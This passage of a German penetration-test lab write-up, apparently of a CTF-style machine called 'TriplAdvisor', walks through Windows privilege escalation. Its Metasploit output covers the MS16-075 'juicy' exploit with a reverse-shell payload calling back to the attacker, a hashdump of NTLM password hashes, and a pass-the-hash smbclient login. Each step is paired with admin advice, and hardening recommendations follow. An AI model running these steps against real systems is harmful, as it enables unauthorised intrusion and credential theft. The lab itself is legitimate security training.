msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > sessions
Active sessions
===============
  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  1         meterpreter x64/windows  TRIPLADVISOR\websvc @ TRIP  192.168.2.199:1337 -> 192.1
                                     LADVISOR                    68.2.118:49169 (192.168.2.1
                                                                 18)
                     
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.118 - Collecting local exploits for x64/windows...
[*] 192.168.2.118 - 196 exploit checks are being tried...
[+] 192.168.2.118 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.2.118 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
# ... (viele weitere [+] Einträge für verwundbare Exploits)
[+] 192.168.2.118 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[*] Running check method for exploit 45 / 45
[*] 192.168.2.118 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
# ... (Liste der 10 verwundbaren Exploits)
 10  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
# ... (Liste der 35 nicht verwundbaren oder nicht prüfbaren Exploits)
 45  exploit/windows/local/win_error_cve_2023_36874                 No                       The target is not exploitable.
                     

Analyse: Ausführung des `local_exploit_suggester`.

Bewertung: Findet erneut 10 potenziell funktionierende lokale Exploits, darunter `ms16_075_reflection_juicy`. Die lange Liste bestätigt den veralteten Patch-Stand des Systems.

Empfehlung (Pentester): `ms16_075_reflection_juicy` auswählen.
Empfehlung (Admin): DRINGEND PATCHEN!

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_075_reflection_juicy
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection_juicy) > options
Module options (exploit/windows/local/ms16_075_reflection_juicy):

   Name     Current Setting                 Required  Description
   ----     ---------------                 --------  -----------
   CLSID    {4991d34b-80a1-4291-83b6-33283  yes       Set CLSID value of the DCOM to trigger 
            66b9097}
   SESSION                                  yes       The session to run this module on 


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  none             yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.2.199    yes       The listen address (an interface may be specified) 
   LPORT     4444             yes       The listen port 


Exploit target:

   Id  Name
   --  ----
   0   Automatic
                    
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set LHOST 192.168.2.199
LHOST => 192.168.2.199
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
session => 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[+] Target appears to be vulnerable (Windows 2008 R2)
[*] Launching notepad to host the exploit...
[+] Process 2052 launched.
[*] Reflectively injecting the exploit DLL into 2052...
[*] Injecting exploit into 2052...
[*] Exploit injected. Injecting exploit configuration into 2052...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (201798 bytes) to 192.168.2.118
[*] Meterpreter session 2 opened (192.168.2.199:4444 -> 192.168.2.118:49174) at 2024-08-18 20:15:14 +0200

meterpreter >
                    

Analyse: Auswahl und Konfiguration des Exploits `ms16_075_reflection_juicy`. Setzen des Listeners (LHOST, LPORT), des Payloads (x64 Meterpreter) und der Zielsession (Session 1).

Bewertung: Exploit erfolgreich ausgeführt! Eine neue Meterpreter-Session (Session 2) wird geöffnet, die mit SYSTEM-Rechten laufen sollte.

Empfehlung (Pentester): Zur neuen Session wechseln und Rechte überprüfen (`getuid`).
Empfehlung (Admin): Patchen! Überwachung auf verdächtige Prozessstarts (`notepad.exe`) und DLL-Injektionen.

meterpreter > id
[-] Unknown command: id. Run the help command for more details.
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > shell
Process 2812 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
                    

Analyse: In der neuen Meterpreter-Session (Session 2) funktionieren die Linux-artigen Befehle `id` und `whoami` nicht direkt. Eine `shell` wird geöffnet und dort der Windows-Befehl `whoami` ausgeführt.

Bewertung: Privilege Escalation erfolgreich! Die Shell läuft als `nt authority\system`. Großartig, das Hauptziel ist erreicht!

Empfehlung (Pentester): Root-Flag suchen, weitere Post-Exploitation.
Empfehlung (Admin): System kompromittiert, siehe vorherige Empfehlungen.

Analyse: Bestätigung der erfolgreichen Privilege Escalation.

Bewertung: Wichtiger Meilenstein im Test.

Empfehlung (Pentester/Admin): Keine Aktion erforderlich.

Flag Suche (als SYSTEM)

C:\Windows\system32>cd ..\..\Users
C:\Users>cd Administrator
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>ls
'ls' is not recognized as an internal or external command,
operable program or batch file.
                    
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is BCB3-AE45

 Directory of C:\Users\Administrator\Desktop

08/15/2024  09:02 PM              .
08/15/2024  09:02 PM              ..
06/30/2024  10:10 AM                33 root.txt
               1 File(s)             33 bytes
               2 Dir(s)  23,852,781,568 bytes free
                    

Analyse: In der SYSTEM-Shell wird zum Administrator-Desktop navigiert. Der Linux-Befehl `ls` schlägt fehl, der Windows-Befehl `dir` funktioniert.

Bewertung: Die Datei `root.txt` wird auf dem Desktop gefunden.

Empfehlung (Pentester): `root.txt` auslesen (`type root.txt`).
Empfehlung (Admin): Flags nicht unverschlüsselt ablegen.

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
websvc:1003:aad3b435b51404eeaad3b435b51404ee:4724b17a37bb31574f7a055c9cc7d392:::
                    

Analyse: Der Meterpreter-Befehl `hashdump` wird ausgeführt (erfordert SYSTEM-Rechte). Er extrahiert die NTLM-Passwort-Hashes aus der SAM-Datenbank.

Bewertung: Erfolgreich! Die Hashes für Administrator, Guest und websvc wurden extrahiert. Dies ist ein kritischer Fund, der Pass-the-Hash-Angriffe und Offline-Cracking ermöglicht.

Empfehlung (Pentester): Hashes speichern und für PtH (wie im nächsten Schritt gezeigt) oder Offline-Cracking (mit Hashcat oder John the Ripper) verwenden.
Empfehlung (Admin): Credential Dumping erschweren (LSASS Protection, Credential Guard). Hashes sicher speichern (moderne Windows-Versionen tun dies besser).

┌──(root㉿CCat)-[~] └─# smbclient "//192.168.2.118/c$/" -U 'Administrator' --pw-nt-hash '2176416a80e4f62804f101d3a55d6c93'
Try "help" to get a list of possible commands.
smb: \> ls
  $RECYCLE.BIN                      DHS        0  Tue Jul 14 06:52:35 2009
# ... (Inhalt von C:\)
		8362495 blocks of size 4096. 5823433 blocks available
smb: \> cd Users\Administrator\Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Fri Aug 16 06:02:08 2024
  ..                                 DR        0  Fri Aug 16 06:02:08 2024
  desktop.ini                       AHS      282  Fri Jun  7 22:26:57 2024
  root.txt                            A       33  Sun Jun 30 19:10:01 2024

		8362495 blocks of size 4096. 5823433 blocks available
                    

Analyse: Ein Pass-the-Hash (PtH)-Angriff wird mit `smbclient` durchgeführt, wobei der zuvor gedumpte NTLM-Hash des Administrators (`--pw-nt-hash`) anstelle eines Passworts verwendet wird, um auf die administrative Freigabe `c$` zuzugreifen.

Bewertung: Erfolgreich! Zeigt, dass mit dem gestohlenen Hash administrativer Zugriff über SMB erlangt werden kann. Erneuter Zugriff auf `root.txt` wird demonstriert.

Empfehlung (Pentester): PtH ist eine Kerntechnik in Windows-Netzwerken.
Empfehlung (Admin): Maßnahmen gegen Credential Dumping und PtH ergreifen (siehe oben).

Flags

type C:\Users\websvc\Desktop\user.txt
4159a2b3a38697518722695cbb09ee46
type C:\Users\Administrator\Desktop\root.txt
5b38df6802c305e752c8f02358721acc

Zusammenfassung & Empfehlungen

Zusammenfassende Bewertung der Sicherheitslage: Das getestete System "TriplAdvisor" weist kritische Sicherheitslücken auf, die eine vollständige Kompromittierung durch einen Angreifer mit Netzwerkzugriff ermöglichten. Die Hauptangriffsvektoren waren eine veraltete WordPress-Installation mit einem verwundbaren Plugin ("Editor" v1.1), das Local File Inclusion (LFI) erlaubte, und ein veraltetes, ungepatchtes Betriebssystem (Windows Server 2008 R2), das anfällig für bekannte Privilege-Escalation-Exploits (MS16-075) war. Die Kombination dieser Schwachstellen erlaubte es, von einer LFI zu Remote Code Execution und schließlich zu vollen SYSTEM-Rechten zu gelangen.

Identifizierte Verletzlichkeiten (Zusammenfassung):

Allgemeine Empfehlungen:

Empfehlung (Admin):

  1. Sofortmaßnahmen:
    • System sofort vom Netzwerk isolieren.
    • Das verwundbare Plugin "editor" entfernen.
    • Das System vollständig neu installieren oder aus einem sauberen Backup wiederherstellen, da eine vollständige Kompromittierung stattgefunden hat.
  2. Systemhärtung:
    • Ein unterstütztes, modernes Betriebssystem verwenden und zeitnah patchen.
    • WordPress Core, alle Plugins und Themes aktuell halten. Nicht benötigte Komponenten entfernen.
    • Starke, einzigartige Passwörter für alle Konten verwenden. Standardnamen ändern/deaktivieren. 2FA wenn möglich aktivieren.
    • SMB Message Signing erzwingen.
    • Prinzip der geringsten Rechte für alle Benutzer und Dienstkonten anwenden.
    • Webserver sicher konfigurieren (Zugriffsrechte, PHP-Härtung, Log-Maskierung).
    • Zugriff auf die WordPress REST API einschränken.
    • Credential Dumping verhindern/erschweren.
  3. Sicherheitsarchitektur & Überwachung:
    • Netzwerksegmentierung.
    • Web Application Firewall (WAF).
    • Endpoint Detection and Response (EDR).
    • Zentrales Logging und Monitoring.